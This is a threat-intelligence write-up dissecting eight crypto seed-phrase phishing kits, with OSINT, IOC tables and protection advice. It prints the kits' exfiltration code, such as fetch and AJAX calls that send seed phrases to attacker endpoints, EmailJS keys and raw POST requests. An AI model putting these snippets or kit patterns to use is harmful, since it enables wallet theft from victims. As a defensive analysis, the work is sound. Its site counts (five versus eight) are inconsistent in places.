# PhishDestroy — phishing-anatomy ================================================================ Title: Anatomy of Crypto Phishing: 8 Real Seed Phrase Stealers Reverse-Engineered Canonical: https://phishdestroy.io/phishing-anatomy Published: 2026-03-27T00:00:00 Author: PhishDestroy Research OG image: https://phishdestroy.io/assets/images/covers-v4/phishing-anatomy.webp ## SUMMARY ---------------------------------------------------------------- We intercepted live phishing traffic and reverse-engineered 8 active seed phrase stealers. Telegram bots, EmailJS, PhaaS backends — everything exposed. ## KEY FACTS ---------------------------------------------------------------- In short: Crypto seed-phrase phishing sites follow one funnel: a trust-building landing page, a wallet selector with dozens of logos, a fake connection that is hardcoded to fail, then a manual form for the seed phrase, private key or keystore. PhishDestroy dissected eight such sites and traced the stolen data to Telegram bots, EmailJS, form services and Phishing-as-a-Service backends. - Sites analyzed: 8 (source: PhishDestroy investigation (https://phishdestroy.io/phishing-anatomy); as of 2026-03-27) - Exfiltration methods: 7 (source: PhishDestroy investigation (https://phishdestroy.io/phishing-anatomy); as of 2026-03-27) - Messages via Site #1 bot: 1,824+ (from Telegram message_id) (source: PhishDestroy investigation (count taken from the Telegram message_id); as of 2026-03-27) - Attacker setup cost: $0, under 30 minutes (source: PhishDestroy investigation (free hosting, form services and messaging bots); as of 2026-03-27) - Golden rule: No legitimate service will ever ask you to type your seed phrase into a website (source: protection advice, https://phishdestroy.io/phishing-anatomy; as of 2026-03-27) ## STRUCTURE ---------------------------------------------------------------- - Anatomy of Crypto Phishing: 8 Real Attacks Dissected - In short - What We Found - The Universal Attack Pattern - The 8 Sites: Full Breakdown - Impersonation - The Dual Exfiltration Chain - OSINT Findings - Impersonation - The Zero-Code Approach - Impersonation - Same Kit, Same Operator? - Impersonation - Dual EmailJS Redundancy - Impersonation - Phishing-as-a-Service - Related Infrastructure (Mostly Dead) - Impersonation - Anti-Scanner C2 Backend - OSINT Findings - Impersonation - The FormSubmit Pipeline - OSINT Findings - Impersonation - The Script Kiddie Setup - OSINT Findings - 7 Methods of Stealing Your Seed Phrase - 7 Red Flags That Expose Every Phishing Site - Complete IOC Table - Domains & Infrastructure - Accounts & Identifiers - Where to Report Crypto Phishing - How to Protect Yourself - The Crypto Phishing Taxonomy - The Cost of Entry - Help Us Fight Back - Related Investigations - Explore this topic - Share This Investigation - Related Investigations ## CONTENT ---------------------------------------------------------------- Back to News Deep Investigation Anatomy of Crypto Phishing: 8 Real Attacks Dissected Published 2026-03-27 · Updated 2026-10-29 We intercepted live phishing traffic, reverse-engineered 5 seed phrase stealers, and traced stolen data to Telegram bots, EmailJS accounts, and Phishing-as-a-Service backends. March 27, 2026 PhishDestroy Research 18 min read In short Crypto seed-phrase phishing sites follow one funnel: a trust-building landing page, a wallet selector with dozens of logos, a fake connection that is hardcoded to fail, then a manual form for the seed phrase, private key or keystore. PhishDestroy dissected eight such sites and traced the stolen data to Telegram bots, EmailJS, form services and Phishing-as-a-Service backends. exfiltration methods traced7 messages through one site’s Telegram bot11,824+ attacker setup cost$0 to put a kit online<30 min 1 Read from the bot’s Telegram message ID, which goes up by one with every message. Listen to this article 0:00 / --:-- Download the official report (PDF) On this page01 / 11 8Sites Analyzed 7Exfil Methods 1,824+Stolen Creds 380+Wallet Brands $0Attacker Cost What We Found Every day, thousands of cryptocurrency users lose their funds to phishing sites that look indistinguishable from legitimate wallet services. But what happens behind the fake "Connect Wallet" button? Where does your seed phrase actually go? We intercepted live HTTP traffic from 5 active phishing sites, downloaded their complete source code, and traced every data exfiltration endpoint to its final destination. This investigation documents the full anatomy of modern crypto phishing, from the social engineering tricks that make you type your seed phrase to the Telegram bot that delivers it to the attacker in real-time. Disclaimer All seed phrases shown in this article are randomly generated test data. No real credentials were compromised during this investigation. All sites have been reported to their respective hosting providers and abuse departments. The Universal Attack Pattern Despite different branding and backends, all 8 phishing sites follow the exact same psychological funnel: Landing PageTrust building Wallet Selector60–110+ logos Fake "Connecting..."3–5 sec timer "Connection Failed"Always fails Manual EntrySeed / Key / Keystore ExfiltrationTG / Email / API The "Connecting..." animation is always hardcoded to fail. In the source code of Site #4, we found const success = false; the code never attempts a wallet connection. The entire flow exists solely to push victims toward the "Connect Manually" form. The 8 Sites: Full Breakdown 1 Network Layer Protocol networklayers.pages.dev URLScan [https://urlscan.io/result/019d31e5-c450-76bf-9fcd-d67547b0a1ef/] LiveCloudflare PagesTelegram Bot + EmailJS Impersonation A fictional "decentralized protocol" for wallet validation. Uses live CryptoCompare price tickers and links to real blockchain explorers (Ethereum, BSC, Polygon, Avalanche, Solana, Cardano) for credibility. The landing page features 100+ wallet logos and a 3-step "validation" process. The Dual Exfiltration Chain This is the most elaborate backend of all 5. Every stolen credential is sent through two independent channels simultaneously: Victim submits seed phrase | +--> Channel 1: axios POST --> Express.js on Render.com | | | +--> Telegram Bot API --> @metatech2 (instant DM) | +--> Channel 2: fetch POST --> EmailJS API | +--> Bestgrace309@gmail.com (email backup) OSINT Findings Indicator | Value Scammer Email | Bestgrace309@gmail.com Telegram Bot | @DewdropsTG_bot (ID: 7567323692) Telegram Recipient | @metatech2 (Chat ID: 7350941887) Backend | emailjs-backend-ovtg.onrender.com EmailJS Service | service_d5qigxs / template_7bqxeaa Hidden Domain | layerschain.in (from CF email obfuscation) Messages Sent | 1,824+ (from Telegram message_id) Domain Age | 2 days (TLS: March 25, 2026) OPSEC Failure The attacker's email was found in a JavaScript comment inside config.js: // Bestgrace309@gmail.com. They forgot to remove it before deploying. The Telegram relay backend is also completely open, with no authentication and no rate limiting. By decoding Cloudflare's data-cfemail obfuscation in the HTML, we also found a hidden email, support@layerschain.in, which links to Indian and South African hosting infrastructure. 2 AQLA Token Migration token-aqla.pages.dev LiveCloudflare PagesUn-static Forms Impersonation A pixel-perfect scrape of the real Aqualibre (AQLA) token migration page. The HTML contains a metadata tag revealing the source: data-scrapbook-source="https://token.aqla.app/migration", timestamped November 19, 2024. The Zero-Code Approach This attacker needs zero server-side code. The form posts directly to Un-static [https://un-static.com], a legitimate form backend for static sites, which forwards every submission to the scammer's email. The attacker's email is never visible in the source code.
Cost: $0 Cloudflare Pages is free, Un-static Forms is free, and the attacker bought no domains and rented no servers. Total infrastructure cost: zero dollars. 3 SafePal Typosquat antiresolve-mysafpalnode.pages.dev URLScan [https://urlscan.io/result/019d31e9-af7c-71a7-ab9e-c72878277e60/] Live Cloudflare Pages Un-static Forms Impersonation The subdomain contains "safpal", a deliberate misspelling of the popular hardware wallet SafePal [https://safepal.com]. The site poses as "Blockchain Wallet Rectification" with 26 fake issue categories. Uses Typed.js to animate chain names (Ethereum, BSC, Polygon...) and a LiveCoinWatch ticker for credibility. Same Kit, Same Operator? Uses the exact same phishing template as Site #2: identical connect.html, identical wallets.html with 60+ logos, same Un-static backend (different form ID: 6f1b82c3...da9943af). The identical kit strongly suggests one operator running both sites. Red flags in the code: "Privay Policy" (missing 'c'), "seperated" (should be "separated"), "Kestore" (missing 'y'). Password field uses type="text" instead of type="password". 4 Flare Network Clone flaremainnet.pages.dev URLScan [https://urlscan.io/result/019d31e9-3f64-715b-a021-c42b5797c6e6/] LiveCloudflare PagesDual EmailJS (Redundancy) Impersonation A near-perfect clone of the Flare Network portal. Flare is a real Layer-1 EVM blockchain with FTSO and Data Connector protocols. Replicates 30+ ecosystem partners, navigation, and branding. Favicons loaded from a typosquat: portal.flaremainet.com (one 'n' missing from "mainnet"). Dual EmailJS Redundancy The only site using two separate EmailJS accounts simultaneously for anti-takedown redundancy: // Channel 1: EmailJS SDK emailjs.send('service_6dt5h1k', 'template_hjqp9gb', payload) // Key: Sza6lhzA9hKHrm1k4 // Channel 2: jQuery AJAX direct $.ajax('https://api.emailjs.com/api/v1.0/email/send', { data: { service_id: 'service_isy47de', template_id: 'template_dkk4d1b', user_id: 'JsVEgXVcaSTro1etu' } }) Email subject for every theft: "New Wallet Details from Flare". This Is a Funded Business The HTML contains Google Tag Manager (GTM-WX2D2TR), Microsoft Clarity (j4bllybjkp), Lunio PPC protection, and a Twitter/X Ads pixel. The attacker is running paid advertising to drive victims to the phishing site and filtering bot clicks. With analytics and ad spend in place, this is a funded operation. 5 COIN NODE / Wallet Fix (PhaaS) swiftauthapps.pages.dev URLScan [https://urlscan.io/result/019d31ea-61bd-7003-b971-27d390007a91/] Backend DeadPulseResolve API (PhaaS) Impersonation A generic "COIN NODE" / "Wallet Fix" service (no specific brand). The copyright line reads "Wallet Fix 2022", so this kit template is at least 4 years old. Images hosted on pumpeth.com (WordPress on AWS). Phishing-as-a-Service The backend is a UUID-based multi-tenant API: POST https://api.pulseresolve.com/a26db20c-1dc4-4208-a60a-c2c3b22c02ef Content-Type: multipart/form-data wallet=Metamask&type=phrase&phrase=buddy+surprise+vapor+river+... Each scammer gets their own UUID endpoint. A central operator maintains the API, tracks campaigns, and potentially takes a cut of stolen funds. This is industrialized crypto theft, run as Phishing-as-a-Service. Related Infrastructure (Mostly Dead) Domain | Role | Status api.pulseresolve.com | Exfiltration API | NXDOMAIN walletissuesfix.net | Favicon host | NXDOMAIN syncwallet.online | Logo host | NXDOMAIN pumpeth.com | Image CDN | Live (AWS) Zombie Frontend The backend is dead, but the frontend is still live on Cloudflare Pages. If the attacker re-registers pulseresolve.com, the site becomes instantly operational again. 6 Support Center + Ledger Recovery wallet-support-39n.pages.dev & ledger-recovery.support URLScan (Wallet) [https://urlscan.io/result/019d31e5-5081-740c-9414-01a22c304b2c/] URLScan (Ledger) [https://urlscan.io/result/019d31db-82db-7120-b2de-e5a8aa24ddac/] LiveCloudflare Pages + ReplitCustom C2 APIBIP39 Autocomplete Impersonation A two-pronged operation: a generic "Support Center" at wallet-support-39n.pages.dev with 15 fake issue categories and 39 wallet brands, plus a pixel-perfect Ledger onboarding clone at ledger-recovery.support hosted on Replit. The Ledger clone comes complete with device model selection, PIN setup, and a 24-word seed phrase grid with real BIP39 autocomplete. Anti-Scanner C2 Backend The wallet support page sends stolen data to api.uranustoken.org/log, a custom nginx/Ubuntu C2 behind Cloudflare. The backend intentionally drops all GET requests (returns 522 timeout) and responds only to POST. URL scanners, Google Safe Browsing crawlers, and security researchers who ping the endpoint with GET see nothing, so the C2 appears dead. // config.js — C2 config exposed in plaintext const config = { serverURL: "https://api.uranustoken.org", allowedWallets: ["phantom","solfare","metamask","trustwallet", "coinbasewallet","ledger","trezor","okx","sui","backpack", "tonkeeper","magiceden","slush" /* + 26 more */] }; window.IWMConfig = config; // Exfiltration function (deobfuscated from bundle) function Ae(seedPhrase, passPhrase, walletName) { fetch(serverURL + "/log", { method: "POST", headers: {"Content-Type": "application/json"}, body: JSON.stringify({seedPhrase, passPhrase, walletName, apiKey}) }) } The Ledger clone runs a separate Express.js backend on Replit itself: POST /api/recovery-phrase collecting {deviceId, pin, phrase}. It returns 400 {"error":"Invalid data provided"} on malformed input, which confirms the backend is live and actively validating stolen data. OSINT Findings Indicator | Value Frontend (Wallet) | wallet-support-39n.pages.dev Frontend (Ledger) | ledger-recovery.support (34.111.179.208) C2 Backend | api.uranustoken.org → nginx/1.24.0 Ubuntu C2 IPs | 104.21.60.163 / 172.67.198.35 (Cloudflare) Replit Verify | a43d3852-5304-47af-a61b-f0f6f3912736 Registrar | Name.com (ledger-recovery.support) Deployed | Jan 9, 2026 (Last-Modified header) Tech Stack | React + Vite + Tailwind v4.1 + Framer Motion Highest UX Fidelity The 466 KB JS bundle contains the full BIP39 wordlist for real-time autocomplete, plus 67 references to "passphrase" and 39 to "mnemonic". The Ledger clone walks victims through the exact same onboarding flow as a real Ledger device, which makes it the most convincing phishing page in this entire investigation. The apiKey field in the config suggests a multi-tenant PhaaS architecture. 7 Decentralized Launchpad mainnetvalidationapp.pages.dev URLScan [https://urlscan.io/result/019d320b-8e16-7368-a88c-06d52f2d085d/] LiveCloudflare PagesFormSubmit.co Impersonation A generic "Decentralized Launchpad" with 21 bait categories (Staking, Migration, KYC, Giveaway, Claim Rewards, Asset Recovery, Pre-sale, Mint NFTs, Locked Accounts...) and 70+ wallet brands, one of the longest wallet lists we encountered. The typo "Sychronize" (missing 'n') gives the fake away. The FormSubmit Pipeline Uses FormSubmit.co, a legitimate form-to-email service. The endpoint hash a2cf4131f1a5d39453c7c183df96f86f is an MD5 of the scammer's email address. We brute-forced hundreds of email patterns across Gmail, Yahoo, Hotmail, ProtonMail, Yandex, and Mail.ru and found no match. The scammer uses an uncommon or randomly generated email. // Exfiltration via jQuery AJAX → FormSubmit → scammer email $.ajax({ url: "https://formsubmit.co/ajax/a2cf4131f1a5d39453c7c183df96f86f", method: "POST", dataType: "JSON", data: { dappWord: seedPhrase, // THE STOLEN SEED PHRASE dappName: walletName, // Which wallet was selected linkName: "DAPP DECENTRALIZED" // Campaign identifier } }); OSINT Findings Indicator | Value Domain | mainnetvalidationapp.pages.dev FormSubmit Hash | a2cf4131f1a5d39453c7c183df96f86f Campaign ID | DAPP DECENTRALIZED FontAwesome Kit | bdc3291137 (kit #112310842, free v6.7.2) jQuery | 3.2.1 + 3.5.1 loaded simultaneously Bootstrap | CSS 5.2.2 + JS 5.3.0-alpha1 (mismatch) Two Tracking Handles FontAwesome Kit bdc3291137: FontAwesome can identify the account owner behind this kit ID. The campaign tag DAPP DECENTRALIZED may appear on other phishing sites using the same FormSubmit hash. After the seed phrase is stolen, the page displays a fake QR code and random 7-character ref code with the message "Contact the Admin with your unique ref code", which keeps victims waiting instead of investigating. 8 R2 Bucket + PHP on Home Computer pub-519769e9eb634616b1746c2018641d56.r2.dev DeadCloudflare R2PHP + DDNS Impersonation Unknown, because both the frontend and backend are offline. Based on the payload structure, this was a crypto wallet seed phrase stealer. The Cloudflare R2 public bucket (object storage, not Pages) is a well-documented phishing vector [https://keepaware.com/blog/cloudflare-r2-public-buckets-and-a-phishing-binge] with 5,000+ malicious pages identified and a 61x traffic increase reported by Netskope. The Script Kiddie Setup The most primitive operation in this collection. Seed phrases are sent word-by-word to a PHP script running on a home computer or VPS behind free Dynamic DNS: POST mercifuljigga4real123.publicvm.com/fuc.php Content-Type: application/x-www-form-urlencoded pass=Word+1:+finger+%0AWord+2:+flag+%0AWord+3:+across +%0AWord+4:+admit+%0AWord+5:+weather+%0AWord+6:+fragile +%0AWord+7:+trick+%0AWord+8:+weekend+%0AWord+9:+gift +%0AWord+10:+grit+%0AWord+11:+borrow+%0AWord+12:+access OSINT Findings Indicator | Value Frontend | pub-519769e9eb634616b1746c2018641d56.r2.dev [OFFLINE] Backend | mercifuljigga4real123.publicvm.com [NXDOMAIN] R2 Bucket ID | 519769e9eb634616b1746c2018641d56 DDNS Provider | DNSExit.com / Netdorm, Inc. (Cincinnati, OH) DNS NS | ns10–13.dnsexit.com Username | mercifuljigga4real123 Username OSINT: mercifuljigga4real123 "Merciful" + "jigga" (Jay-Z's nickname) + "4real" + "123": a distinctly personal handle that suggests an affinity for hip-hop culture. Not found on any indexed platform: GitHub, X, Instagram, TikTok, Reddit, YouTube, Twitch, or Steam. Likely active on Discord, Telegram, or gaming platforms under this name or close variations. The filename fuc.php matches the handle's irreverent style. 7 Methods of Stealing Your Seed Phrase Method | Sites | How It Works | Speed | Cost Telegram Bot | #1 | Express.js on Render.com proxies to Bot API. Scammer gets instant DM with credentials. | Real-time | $0 EmailJS | #1, #4 | Client-side JavaScript sends directly to EmailJS API, which delivers to scammer's email. | ~1 min | $0 Un-static Forms | #2, #3 | Standard HTML form POST to a legitimate form service that forwards submissions via email. | ~1 min | $0 FormSubmit.co | #7 | jQuery AJAX to FormSubmit.co. Email address hidden behind MD5 hash. Campaign tagged as "DAPP DECENTRALIZED". | ~1 min | $0 Custom C2 API | #6 | React SPA sends to nginx/Express API behind Cloudflare. Drops GET requests (522) to evade scanners. Only responds to POST. | Real-time | ~$5/mo PHP + DDNS | #8 | PHP script on a home computer via free Dynamic DNS (publicvm.com). Seed phrase sent word-by-word. | Real-time | $0 PhaaS API | #5 | UUID-based multi-tenant API. Central operator manages backend, scammers rent endpoints. | Real-time | Unknown 7 Red Flags That Expose Every Phishing Site If you see any of these, close the tab immediately: 1. "Connection Failed" is always fake Real wallet connections use WalletConnect protocol or browser extensions. They never show a "Connection Failed" error that asks you to type your seed phrase. 2. 50–110+ wallet logos, one destination Every wallet icon leads to the same form. A real service would integrate each wallet's actual SDK. 3. "Error" after you submit The fake "503 Error" or "Unknown Error" after submission is deliberate. By then your data has already been stolen, and the error tricks you into trying again with another wallet. 4. Hosted on .pages.dev All 5 sites abuse the Cloudflare Pages free tier, which requires no identity verification. Cloudflare Pages phishing abuse increased 198% in 2025. 5. Three tabs: Phrase / Private Key / Keystore No legitimate service needs all three credential types. This triple-tab form is a phishing kit signature. 6. No blockchain interaction None of these sites load ethers.js, web3.js, or make any RPC calls. They're pure HTML forms pretending to be dApps. 7. Zero-cost infrastructure Free hosting + free form services + free messaging = a complete phishing operation for $0. If the site doesn't have a real domain, be suspicious. Complete IOC Table For security teams, threat intel platforms, and abuse reporters: To load these indicators into a platform, convert them to STIX 2.1, MISP, CSV or Suricata rules. Domains & Infrastructure Domain | Type | Status networklayers.pages.dev | Phishing frontend | Live token-aqla.pages.dev | Phishing frontend | Live antiresolve-mysafpalnode.pages.dev | Phishing frontend | Live flaremainnet.pages.dev | Phishing frontend | Live swiftauthapps.pages.dev | Phishing frontend | Live emailjs-backend-ovtg.onrender.com | TG relay backend | Live portal.flaremainet.com | Typosquat assets | Unknown layerschain.in | Related domain | DNS dead api.pulseresolve.com | PhaaS backend | NXDOMAIN walletissuesfix.net | Asset host | NXDOMAIN syncwallet.online | Logo host | NXDOMAIN pumpeth.com | Image CDN | Live (AWS) wallet-support-39n.pages.dev | Phishing frontend | Live ledger-recovery.support | Ledger phishing (Replit) | Live api.uranustoken.org | C2 backend (nginx/Ubuntu) | Live uranustoken.org | Root domain | 404 mainnetvalidationapp.pages.dev | Phishing frontend | Live pub-519769e9eb634616b1746c2018641d56.r2.dev | Phishing (R2 bucket) | Offline mercifuljigga4real123.publicvm.com | PHP backend (DDNS) | NXDOMAIN Accounts & Identifiers Type | Value | Site Email | Bestgrace309@gmail.com | #1 Email (hidden) | support@layerschain.in | #1 Telegram Bot | @DewdropsTG_bot (7567323692) | #1 Telegram User | @metatech2 (7350941887) | #1 EmailJS #1 | service_d5qigxs / I-7q0Bs-ilK3rFcWj | #1 EmailJS #2 | service_6dt5h1k / Sza6lhzA9hKHrm1k4 | #4 EmailJS #3 | service_isy47de / JsVEgXVcaSTro1etu | #4 Un-static Form | c78173e2d991...94c3f76 | #2 Un-static Form | 6f1b82c3ce55...da9943af | #3 PhaaS UUID | a26db20c-1dc4-4208-a60a-c2c3b22c02ef | #5 GTM | GTM-WX2D2TR | #4 MS Clarity | j4bllybjkp | #4 Render Instance | rndr-id: ed83576e-b1b3-4c82 | #1 Replit Verify | a43d3852-5304-47af-a61b-f0f6f3912736 | #6 FormSubmit MD5 | a2cf4131f1a5d39453c7c183df96f86f | #7 Campaign Tag | DAPP DECENTRALIZED | #7 FontAwesome Kit | bdc3291137 (kit #112310842) | #7 R2 Bucket ID | 519769e9eb634616b1746c2018641d56 | #8 Username/DDNS | mercifuljigga4real123 | #8 Where to Report Crypto Phishing For a domain that is not listed here, find its registrar and host abuse contacts and draft the report. Service | What to Report | How Cloudflare | 7x .pages.dev + 1x R2 bucket | abuse.cloudflare.com [https://abuse.cloudflare.com] Google Safe Browsing | All phishing URLs | Report Phish [https://safebrowsing.google.com/safebrowsing/report_phish/] PhishTank | All URLs for community blocklist | phishtank.org [https://phishtank.org] EmailJS | 3 abused accounts (service IDs above) | abuse@emailjs.com Un-static | 2 form endpoints | Contact via un-static.com Render.com | Telegram relay backend | Render abuse form Telegram | @DewdropsTG_bot + @metatech2 | telegram.org/support [https://telegram.org/support] Google (Gmail) | Bestgrace309@gmail.com | Google abuse report Twitter/X | Ads account promoting Site #4 | X ads abuse report FormSubmit.co | Hash a2cf4131... (#7) | FormSubmit abuse form Replit | ledger-recovery.support (#6) | Replit abuse report Name.com | Registrar for ledger-recovery.support | Name.com abuse DNSExit | mercifuljigga4real123.publicvm.com | dnsexit.com abuse [https://dnsexit.com/support/abuse/] FontAwesome | Kit bdc3291137 (#7) | FontAwesome abuse Chainabuse | All phishing campaigns | chainabuse.com [https://chainabuse.com] How to Protect Yourself The Golden Rule No legitimate service will ever ask you to type your seed phrase into a website. Seed phrases are only entered into official wallet software during wallet recovery, never on third-party "validation", "synchronization", or "recovery" websites. Before connecting any wallet: Verify the URL matches the official domain. Check the SSL certificate details. Real WalletConnect uses a QR code or deep link, never a seed phrase form. If "connection fails" and you're asked to enter credentials manually, it's phishing. Check suspicious URLs on PhishTank [https://phishtank.org] or VirusTotal [https://www.virustotal.com] before interacting. Use a hardware wallet. It requires physical confirmation for every transaction. Bookmark official URLs. Never click links from ads, DMs, or social media. The Crypto Phishing Taxonomy Seed phrase stealers are just one category. The overview below covers the main types of crypto phishing, and we will be adding detailed write-ups on each. Seed Phrase Stealers Fake "Connect Wallet" pages that trick you into typing your recovery phrase. The focus of this article, with 5 real examples dissected. Covered Above Approval Hijacking Malicious dApps that request unlimited token approvals via MetaMask. Once approved, the attacker drains your wallet without needing your seed phrase. Coming Soon Ice Phishing (Permit2) Exploits EIP-2612 gasless permits. Victim signs an off-chain message that grants token transfer rights, and no on-chain approval is visible until the drain. Coming Soon Fake Airdrop Claims Fake token airdrops that require "claiming" via a malicious smart contract. The claim transaction actually transfers your real tokens out. Coming Soon Clipboard Hijackers Malware that monitors your clipboard and silently replaces copied wallet addresses with the attacker's address before you paste. Coming Soon Dusting + Poisoning Tiny transactions from look-alike addresses pollute your history. Victim copies the fake address from transaction history for their next transfer. Coming Soon The Cost of Entry With free hosting, free form services, and free messaging bots, setting up a crypto phishing operation costs $0 and takes under 30 minutes. The attacker behind Site #1 has already harvested credentials from 1,824+ victims, and Site #4 is running paid advertising to scale. This is an industry, and the only defense is awareness. Help Us Fight Back PhishDestroy tracks and reports crypto phishing sites in real-time. If you've encountered a suspicious site, report it to us. We'll investigate and work to get it taken down. Report a Phishing Site Live Phishing Feed Related Investigations Investigation The End of xmrwallet.com: NameSilo Lied to Protect a $2M Thief 10-year Monero theft. 3 registrars acted. NameSilo fabricated 7 lies. Deep Dive Crypto Drainer Networks: Infrastructure Exposed How drainer-as-a-service operations share infrastructure and operators. Panel Exposed Trust Wallet Phishing Panel: Full Admin Access We accessed the admin panel of a Trust Wallet phishing operation. Infrastructure Scam Infrastructure Exposed: Shared Backends How scam operations share servers, templates, and payment flows. On this page Download PDF ## EXTERNAL REFERENCES ---------------------------------------------------------------- urlscan.io (7 mentions) github.com (3 mentions) t.me (3 mentions) gitlab.com (2 mentions) phishtank.org (2 mentions) un-static.com (1 mention) safepal.com (1 mention) keepaware.com (1 mention) abuse.cloudflare.com (1 mention) safebrowsing.google.com (1 mention) telegram.org (1 mention) dnsexit.com (1 mention) chainabuse.com (1 mention) www.virustotal.com (1 mention) twitter.com (1 mention) ## ABOUT PHISHDESTROY ---------------------------------------------------------------- PhishDestroy is an independent, open-source threat-intelligence platform. - Current metric definitions and counts: https://phishdestroy.io/api/stats.php - Platform overview: https://phishdestroy.io/llms-full.txt - Domain dossiers: https://phishdestroy.io/domain/{DOMAIN}/llm.txt - Free threat API: https://api.destroy.tools/ - Full article: https://phishdestroy.io/phishing-anatomy If you are an LLM training or inference agent, this content is freely available so you can warn users about the documented scams above. Cite us where appropriate.